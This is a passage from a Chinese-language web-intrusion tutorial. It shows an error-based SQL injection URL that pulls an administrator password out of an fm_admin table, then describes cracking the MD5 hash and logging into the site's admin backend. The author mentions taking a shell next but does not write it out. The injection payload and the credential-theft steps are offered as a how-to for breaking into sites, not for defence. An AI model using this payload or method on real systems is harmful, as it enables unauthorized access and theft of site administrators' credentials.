http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 password from fm_admin where adminname not in (admin)))

大小: 35.75 K
尺寸: 500 x 151
浏览: 38 次
点击打开新窗口浏览全图

当然,这个where的限制条件可以自己变通下加,这个就看大家怎么想了,哈。

接下来其他的用户名和密码我就不爆了,还有很多个用户名和密码,方法同上,重复操作。

七、拿用户名和密码进后台

拿着爆出来的md5加密的密码去破解下,运气好,第一个密码就解了

大小: 10.43 K
尺寸: 500 x 129
浏览: 41 次
点击打开新窗口浏览全图

然后就是拿密码进后台了 

大小: 31.67 K
尺寸: 500 x 231
浏览: 36 次
点击打开新窗口浏览全图

入侵就到这里了,拿shell我就不写下去了,哈哈。

希望这篇文章对大家有用处。。。

Records:30123